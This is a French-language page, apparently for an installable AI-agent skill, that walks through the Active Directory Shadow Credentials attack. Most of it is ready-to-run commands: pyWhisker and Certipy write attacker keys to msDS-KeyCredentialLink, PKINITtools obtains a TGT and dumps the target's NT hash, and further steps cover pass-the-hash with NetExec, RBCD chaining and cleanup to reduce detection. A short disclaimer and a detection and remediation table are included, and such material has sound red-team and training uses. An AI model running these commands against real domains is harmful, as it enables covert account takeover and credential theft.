Communitygithub.com

Abus des Shadow Credentials pour l'élévation de privilèges

Prenez le contrôle de comptes Active Directory en écrivant des clés publiques contrôlées par l'attaquant sur l'attribut msDS-KeyCredentialLink (Shadow Credentials) via pyWhisker, Whisker ou Certipy, puis authentifiez-vous via PKINIT pour récupérer le hash NT de la cible.

Qu'est-ce que Abus des Shadow Credentials pour l'élévation de privilèges ?

Cette compétence permet de réaliser une prise de contrôle complète d'un compte Active Directory (utilisateur ou ordinateur) sans réinitialiser son mot de passe, en abusant de l'attribut `msDS-KeyCredentialLink`. L'attaque exploite les permissions d'écriture (comme `GenericWrite`, `GenericAll` ou `AddKeyCredentialLink`) sur cet attribut, souvent identifiées via BloodHound. L'attaquant ajoute une clé publique dont il contrôle la clé privée, puis utilise PKINIT pour demander un TGT Kerberos et en extraire le hash NT de la cible. La compétence détaille l'utilisation des outils pyWhisker, Whisker et Certipy, et couvre l'ensemble du workflow : vérification des permissions, ajout d'une clé, extraction du TGT, récupération du hash NT, nettoyage des artefacts, et enchaînement vers RBCD pour les comptes machines. Elle fournit également des recommandations de détection (Event ID 5136) et de remédiation (suppression des ACL superflues). Les environnements cibles doivent avoir un contrôleur de domaine sous Windows Server 2016+ avec PKINIT activé.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-shadow-credentials-for-privesc

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Que fait Abus des Shadow Credentials pour l'élévation de privilèges ?

Avis légal : Cette compétence est destinée uniquement aux tests de sécurité autorisés et à des fins pédagogiques. Les Shadow Credentials permettent une prise de contrôle totale du compte ciblé. À utiliser uniquement sur des systèmes vous appartenant ou pour lesquels vous avez une autorisation écrite explicite. Tout accès non autorisé est un délit.

Présentation

La technique des Shadow Credentials abuse de l'attribut msDS-KeyCredentialLink des objets utilisateur et ordinateur Active Directory. Cet attribut stocke des clés publiques brutes (« Key Credentials ») utilisées par Windows Hello for Business et l'enregistrement d'appareils Azure AD pour une connexion sans mot de passe basée sur des certificats via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). Si un attaquant dispose d'une permission d'écriture sur l'attribut msDS-KeyCredentialLink d'un objet cible — généralement accordée par des ACE GenericWrite, GenericAll, WriteProperty ou AddKeyCredentialLink identifiées dans BloodHound — il peut ajouter sa propre clé publique générée par l'attaquant. Il demande ensuite un TGT pour la cible via PKINIT à l'aide de la clé privée correspondante et récupère le hash NT de la cible, réalisant ainsi une prise de contrôle complète du compte sans réinitialiser le mot de passe, ce qui est beaucoup plus discret qu'une réinitialisation forcée du mot de passe.

Cette technique a été publiée par Elad Shamir (« Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover ») et implémentée dans l'outil C# Whisker. L'équivalent Python pyWhisker (ShutdownRepo) manipule l'attribut via LDAP, et Certipy intègre l'ensemble de la chaîne via certipy shadow auto. L'environnement cible doit prendre en charge PKINIT et comporter au moins un contrôleur de domaine exécutant Windows Server 2016 ou version ultérieure. Sources : pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.

Quand l'utiliser

  • Lorsque BloodHound révèle GenericWrite/GenericAll/AddKeyCredentialLink sur un utilisateur ou un ordinateur de grande valeur
  • Comme alternative plus discrète à ForceChangePassword (pas de réinitialisation de mot de passe = moins de perturbations/d'alertes)
  • Pour prendre le contrôle d'un compte machine afin d'enchaîner sur une délégation contrainte basée sur les ressources (RBCD)
  • Lors d'opérations Red Team nécessitant une prise de contrôle de compte sans bloquer l'utilisateur légitime
  • Pour des exercices Purple Team générant des données de télémétrie sur les modifications de msDS-KeyCredentialLink

Prérequis

  • Périmètre d'engagement autorisé incluant les techniques d'obtention d'identifiants Active Directory
  • Contrôle d'un principal disposant d'un accès en écriture sur msDS-KeyCredentialLink de la cible
  • Un contrôleur de domaine exécutant Windows Server 2016+ avec PKINIT activé (niveau fonctionnel du domaine prenant en charge Key Trust)
  • Accessibilité réseau à LDAP (389/636) et Kerberos (88) sur un contrôleur de domaine
  • Machine d'attaque Linux avec Python 3.8+ ; installer les outils :
    # pyWhisker (depuis les sources)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy (attaque shadow intégrée)
    pipx install certipy-ad
    # PKINITtools pour l'extraction manuelle du TGT/hash NT
    git clone https://github.com/dirkjanm/PKINITtools
    

Objectifs

  • Confirmer l'accès en écriture sur msDS-KeyCredentialLink d'une cible
  • Générer une paire de clés et ajouter une Key Credential à l'objet cible
  • Demander un TGT pour la cible via PKINIT en utilisant la nouvelle clé
  • Récupérer le hash NT de la cible pour du pass-the-hash ou des mouvements ultérieurs
  • Nettoyer la Key Credential injectée pour restaurer l'état de l'objet
  • Documenter le chemin ACL qui a permis l'attaque pour sa correction

Cartographie MITRE ATT&CK

IDTechniqueApplication dans cette compétence
T1098.005Account Manipulation: Device RegistrationÉcriture d'une Key Credential contrôlée par l'attaquant (clé d'appareil) dans msDS-KeyCredentialLink pour enregistrer une information d'authentification alternative pour le compte cible

Workflow

Étape 1 : Confirmer la primitive d'écriture

Listez les Key Credentials existantes sur la cible pour vérifier que vous disposez de l'accès requis. Un résultat vide ou lisible confirme l'accès en écriture pour l'étape « add ».

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Password!" \
    --target "victim" --action "list"

Étape 2 : Ajouter une Shadow Credential avec pyWhisker

Générez une paire certificat/clé et écrivez-la dans le msDS-KeyCredentialLink de la cible. pyWhisker produit un fichier PFX que vous contrôlez.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Password!" \
    --target "victim" --action "add" --filename victim_shadow
# Produit victim_shadow.pfx et affiche le mot de passe du PFX

Utilisez l'authentification Kerberos au lieu d'un mot de passe si vous ne possédez qu'un ticket :

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

Étape 3 : Demander un TGT via PKINIT

Utilisez le PFX généré avec PKINITtools pour obtenir un TGT Kerberos pour la cible.

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

Étape 4 : Récupérer le hash NT

Extrayez le hash NT de la cible depuis l'AS-REP en utilisant la clé de session de l'étape 3 (getnthash.py lit la clé de chiffrement de l'AS-REP, affichée par gettgtpkinit.py).

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Affiche le hash NT pour 'victim'

Étape 5 : Alternative tout-en-un avec Certipy

certipy shadow auto effectue l'ajout → PKINIT → dump du hash → nettoyage automatiquement, ce qui est idéal pour la prise de contrôle de comptes machines.

certipy shadow auto -u '[email protected]' -p 'Password!' \
    -dc-ip 10.0.0.100 -account 'victim'
# Pour un compte machine, utilisez le sAMAccountName avec le $ final
certipy shadow auto -u '[email protected]' -p 'Password!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

Étape 6 : Utiliser les identifiants récupérés

Authentifiez-vous avec le hash NT (ou le TGT) pour continuer l'engagement.

# Pass-the-hash avec NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Ou utilisez directement le TGT
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache

Étape 7 : Enchaîner la prise de contrôle machine vers RBCD (optionnel)

Lorsque la cible est un ordinateur, la clé/le hash récupéré permet de configurer une délégation contrainte basée sur les ressources (RBCD) pour usurper n'importe quel utilisateur sur cet hôte.

# Définir RBCD pour que le SPN contrôlé par l'attaquant puisse usurper sur WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Password!'

Étape 8 : Nettoyage

Supprimez la Key Credential injectée pour restaurer l'objet et réduire l'empreinte de détection.

# pyWhisker : suppression par device-id (affiché lors de l'ajout) ou suppression de tout ce que vous avez ajouté
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Password!" \
    --target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto nettoie automatiquement ; sinon :
certipy shadow clear -u '[email protected]' -p 'Password!' \
    -dc-ip 10.0.0.100 -account 'victim'

Outils et ressources

RessourceObjectifLien
pyWhiskerManipulation LDAP Python de msDS-KeyCredentialLinkhttps://github.com/ShutdownRepo/pywhisker
WhiskerImplémentation C# originalehttps://github.com/eladshamir/Whisker
Certipyshadow auto prise de contrôle de bout en bouthttps://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker RecipesGuide de la technique et défenseshttps://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

Notes de détection et de correction

DomaineRecommandation
DétectionSurveiller l'ID d'événement de sécurité Windows 5136 (modification d'objet d'annuaire) pour les modifications de msDS-KeyCredentialLink ; alerter lorsqu'un principal autre qu'AD-Connect/Intune écrit l'attribut.
AuditActiver l'audit des modifications d'objets du service d'annuaire sur les unités d'organisation utilisateurs/ordinateurs.
Moindre privilègeSupprimer les ACE GenericWrite/GenericAll/AddKeyCredentialLink superflus (arête AddKeyCredentialLink de BloodHound).
AtténuationLorsque Windows Hello/enregistrement d'appareil n'est pas utilisé, restreindre les personnes autorisées à écrire des Key Credentials et envisager de protéger les comptes de niveau 0.

Critères de validation

  • Accès en écriture sur msDS-KeyCredentialLink de la cible confirmé (list réussi)
  • Key Credential ajoutée avec succès (PFX généré)
  • TGT PKINIT obtenu pour le compte cible
  • Hash NT de la cible récupéré et validé contre un service
  • (Si ordinateur) Enchaînement RBCD ou mouvement ultérieur démontré
  • Key Credential injectée supprimée / objet restauré
  • Chemin ACL documenté avec recommandation de correction

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

Skills associés